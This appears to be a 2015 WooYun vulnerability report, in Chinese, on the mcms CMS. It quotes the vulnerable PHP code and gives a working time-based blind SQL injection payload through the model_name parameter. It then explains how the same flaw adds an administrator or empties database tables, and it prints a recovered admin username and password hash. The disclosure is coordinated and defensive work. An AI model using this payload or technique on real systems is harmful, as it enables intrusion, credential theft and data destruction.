当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098472

漏洞标题:mcms最新版任意表的任意字段注入+添加管理员+任意数据删除

相关厂商:mcms.cc

漏洞作者: 路人甲

提交时间:2015-03-03 12:25

修复时间:2015-06-01 12:42

公开时间:2015-06-01 12:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-03: 细节已通知厂商并且等待厂商处理中
2015-03-03: 厂商已经确认,细节仅向厂商公开
2015-03-06: 细节向第三方安全合作伙伴开放
2015-04-27: 细节向核心白帽子及相关领域专家公开
2015-05-07: 细节向普通白帽子公开
2015-05-17: 细节向实习白帽子公开
2015-06-01: 细节向公众公开

简要描述:

mcms最新版任意表的任意字段注入+添加管理员+任意数据删除

详细说明:

前两天在wooyun提了两个漏洞,一天就确认修复了,而且出了新版本,那我就去官网下个最新(v_3.1.1.enterprise)的来看看学习学习吧。
问题一:任意表的任意字段注入
注入一枚:POST /app/user/info.php?m=save&ajax=1 POST中有个参数model_name,这个参数是用来与数据表前缀(TB_PRE)拼接需要操作的数据表的表名的,在获得model_name时并没有过滤,因此,在数据表名可就可以进行注入了,当然,可以利用任意表的任意字段来进行注入。
看看代码/app/user/info.php

//保存
function m__save(){
global $dbm,$C,$V;
$_POST['info_body']=strip_tags($_POST['info_body'], '<br><p><a><img>');
$_POST=H::sqlxss($_POST);
//处理附件参数
$attach= $oname = $order = $model_fields = array();
foreach($_POST as $k=>$v){
if(substr($k,0,9)=='attach___'){
$attach[$v]=$v; $oname[$v]=($_POST['oname___'.$v]==''?'':$_POST['oname___'.$v]); $order[$v]=($_POST['order___'.$v]==''?'':$_POST['order___'.$v]);
}
if (substr($k,0,9)=='extern___') { // 填充扩展表字段
$model_fields[substr($k,9)] = $v;
}
}
//print_r($attach);print_r($oname);die(); $fields['info_id']=isset($_POST['info_id'])?intval($_POST['info_id']):0; $fields['cate_id']=isset($_POST['cate_id'])?intval($_POST['cate_id']):0; $fields['info_title']=isset($_POST['info_title'])?trim($_POST['info_title']):''; $fields['info_img']=isset($_POST['info_img'])?trim($_POST['info_img']):''; $fields['info_body']=isset($_POST['info_body'])?trim($_POST['info_body']):'';
$fields['model_name']=isset($_POST['model_name'])?trim($_POST['model_name']):'';
//判断扩展模型表表单
$C->verify_model_form($fields['model_name'],$model_fields);
if($fields['cate_id']<=0) die('{"code":1,"msg":"请选择分类"}');
if(!check_level('T'.$fields['cate_id'],0,1)) die('{"code":1,"msg":"没有分类权限"}');
if($fields['info_title']=='') die('{"code":1,"msg":"标题不能为空"}');

无关代码

//扩展模型插入和更新数据
if($fields['model_name']!=''){
$model_fields['info_id']=$info_id;
//预先处理某些值 比如日期
foreach($model_fields as $k=>$v) {
$sql = "select form_type from ".TB_PRE."model_fields where model_name='".$fields['model_name']."' and field_name='".$k."' limit 1";
$rs = $dbm->query($sql);
if(count($rs['list']) == 0) continue;
if($rs['list'][0]['form_type'] == 'date') {
$model_fields[$k] = strtotime($v);
}
}
$dbm->single_insert(TB_PRE.$fields['model_name'],$model_fields,1);
}


$model_name直接通过POST获取,没有经过过滤处理,也没有进行表的属性判断就与表前缀进行了拼接,因此,这里可以实现任意表的任意字段注入。
Payload:POST提交

info_id=0&cate_id=5&model_name=product(`price`)values((select/**/if(ord(mid((select/**/login_name/**/from/**/mcms_user/**/limit/**/0,1),1,1))%3d108,sleep(1),0)))#&extern___price=33333&info_title=123&info_img=&info_body=12123


因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,延迟2s。如下图

猜测错误副本.jpg


若正确,则延迟3s(视环境而定,可自行缩短延迟时间),如下图

猜测成功副本.jpg


按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:mcmsadmin,密码为: 891c796e40d55cabc96051ca971c1894
问题二:任意添加管理员
问题点还是出在上面的代码中,因为需要操作的数据表的表名是用户输入的,而且没有经过任何属性的判断,又因为执行的SQL语句是replace into,因此,可以向用户表(mcms_user)中添加数据,这里以添加系统管理员为例进行说明。
系统管理员的登录密码是这样构造的

public static function password_encrypt_salt($password,$salt){
return md5(md5($password).$salt);
}


所以在添加管理员时,按上面的方法进行构造,其中所需要的各个字段都可由直接通过下图中的方法写入数据库。

sql执行过程副本.jpg


成功添加系统管理员

添加管理员副本.jpg


问题三:任意数据删除
在问题二中也提到了,由于需要操作的数据表的表名是用户输入的,而且没有经过任何属性的判断,又因为执行的SQL语句是replace into,因此,可以利用replace into对所有数据表进行replace。也即构造下面的语句即可把数据表中的所有数据删除,这里以user表为例进行说明
根据replace into的性质,只要循replace表的主键值,就可以把表清空,可写个python脚本或使用burp suite可轻松清空所有数据表。
过程见下图

清空所有表副本.jpg

漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-03 12:41

厂商回复:

过滤不严,感谢

最新状态:

暂无